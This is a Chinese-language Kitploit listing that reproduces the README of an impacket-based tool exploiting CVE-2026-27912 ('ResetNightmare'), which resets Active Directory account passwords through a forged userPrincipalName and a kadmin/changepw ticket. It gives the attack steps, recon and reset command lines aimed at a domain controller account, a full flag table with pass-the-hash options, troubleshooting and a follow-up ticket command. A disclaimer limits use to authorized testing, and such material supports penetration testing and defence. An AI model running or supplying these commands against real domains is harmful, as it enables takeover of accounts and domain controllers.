Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Semperis Community 的 Invoke-ResetNightmare PoC 的 Linux/impacket 移植版本 | Kitploit
工具/GitHubGitHub/mihat2/resetnightmare-impacket
密码攻击漏洞分析漏洞利用信息收集渗透测试身份验证红队
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Semperis Community 的 Invoke-ResetNightmare PoC 的 Linux/impacket 移植版本

查看仓库
139天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ResetNightmare — CVE-2026-27912

专为 CVE-2026-27912(“ResetNightmare”) 而生的 Linux / impacket 工具。它通过为 NT_ENTERPRISE 主体(其名称为目标的 sAMAccountName)请求 kadmin/changepw TGT,并使用一个我们可以在其上写入伪造 userPrincipalName 的账户(UPNUser),从而重置目标 Active Directory 账户的密码。

这是 Semperis Community Invoke-ResetNightmare PowerShell 工具的 Python 移植版(见 致谢)。

⚠️ 法律免责声明

仅供授权安全测试和教育用途使用。 该工具会更改真实的 Active Directory 凭据,并可能导致账户被锁定。

  • 仅对您拥有或已获得明确书面许可的系统运行 (例如已签署的授权合同,或您控制的实验环境)。
  • 未经授权访问计算机系统属于违法行为(例如美国 CFAA、英国《计算机滥用法》及类似法律),可能招致刑事和民事处罚。
  • 作者对滥用行为不承担任何责任。本软件按“现状”提供——请参见 LICENSE。如果您没有获得许可,请勿运行本工具。

工作原理

  1. (可选) 创建 UPNUser,自行授予 GenericAll 权限,设置其密码并启用它。
  2. 解析目标的 sAMAccountName。
  3. 设置 UPNUser.userPrincipalName = <targetSAN>(伪造的 UPN)。
  4. 以 NT_ENTERPRISE '<targetSAN>' 身份为 kadmin/changepw 执行 AS-REQ——KDC 将企业 UPN 映射到 目标账户,并为其签发更改密码的 TGT。
  5. 清除伪造的 UPN。
  6. 使用该 TGT 通过 kpasswd 更改密码 → 将目标的密码设置为新密码。
  7. 恢复 UPNUser 原有的 UPN。

安装

root@kitploit:~
python3 -m venv venv
./venv/bin/pip install -r requirements.txt

用法

操作者凭据是第一个位置参数:[domain/]username[:password]。 任何密码均可省略,系统会提示您输入。

侦察——此账户可以滥用什么? 报告您可以写入 UPN 的账户、可以在其中创建对象的 OU,以及 MachineAccountQuota,并附上建议命令:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

重置目标——使用一个您可以写入 UPN 的账户:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

先创建 UPN 账户(需要 OU 上的“创建子对象”权限,以及 LDAPS):

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

添加 -debug 可输出详细的 AS-REQ / LDAP / kpasswd 日志。

标志

密码被省略时会以交互方式提示输入。

故障排查

--create-new-path 失败排查:

说明:

  • 默认启用 LDAPS。 AD 只接受通过 TLS 写入 unicodePwd,因此 --create-new-path 需要它。仅对只读/仅 UPN 的路径使用 --no-ssl。
  • --find 仅报告授予您或您所在组的 allow ACE(以及对象所有权和 MachineAccountQuota);deny ACE 和跨域成员关系不会被完全评估。结果为空并不证明没有可利用路径——使用前请先验证。

成功后

该工具会打印后续操作命令,以便以目标身份获取可用票据:

root@kitploit:~
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

致谢

  • Semperis Community — ResetNightmare — 原始研究与本项目所移植的 Invoke-ResetNightmare PowerShell 工具。
  • impacket — Kerberos 与 ldaptypes 原语。
  • ldap3 — LDAP 客户端。

独立的社区移植版;与 Semperis 无关联,亦未获得其认可。

许可证

MIT © 2026 mihat2.

下载工具
Flag含义
<positional>操作者凭据:[domain/]username[:password]
--target-account要重置的 sAMAccountName(计算机账户以 $ 结尾)
--target-new-password要在目标上设置的新密码
--upn-user要在其上写入伪造 UPN 的账户(或通过 --create-new-path 创建)
--upn-user-password--upn-user 的明文密码
--computer将 --upn-user 视为计算机账户
--create-new-path <DN>首先在其中创建 --upn-user 的 OU/容器(需要 LDAPS)
--find侦察:报告可被滥用的账户/OU 及建议命令,然后退出
--list-ous列出 OU/容器并退出(用于选择有效的 --create-new-path)
--aes-key <hex>--upn-user 用于 AS-REQ 的 AES 密钥(替代密码)
--upn-user-hash <NT>--upn-user 用于 AS-REQ 的 NT 哈希(或 LM:NT)(替代密码)
-k, --kerberos使用 Kerberos(SASL/GSSAPI)进行 LDAP 绑定(使用 KRB5CCNAME)
-H LM:NT通过哈希传递进行 LDAP(NTLM)绑定
--no-pass不提示输入密码(使用 -k / KRB5CCNAME)
--dc-hostDC 主机名/FQDN(用于 Kerberos SPN)
--dc-ipDC IP 地址
--no-ssl明文 LDAP/389(与 --create-new-path 不兼容)
--supported-encryption首选加密类型,仅作提示(默认 aes256)
-debug详细日志输出
症状原因修复方法
result 50, insufficientAccessRights该 OU 存在,但您对其没有创建子对象权限。使用您可以写入的 OU(--list-ous / --find),或去掉 --create-new-path,通过 --upn-user 滥用现有账户。
result 32, noSuchObject — best match: DC=corp,DC=localDN 的父级链不存在(DN 不完整或系猜测所得)。使用 --list-ous 枚举,并粘贴完整的嵌套 DN。OU 是嵌套的;仅凭名称无法确定其路径。
result 53, unwillingToPerform(在执行密码步骤时)通过非 TLS 通道写入 unicodePwd,或密码强度不符合策略。保持 LDAPS(不要传入 --no-ssl);使用符合策略的密码。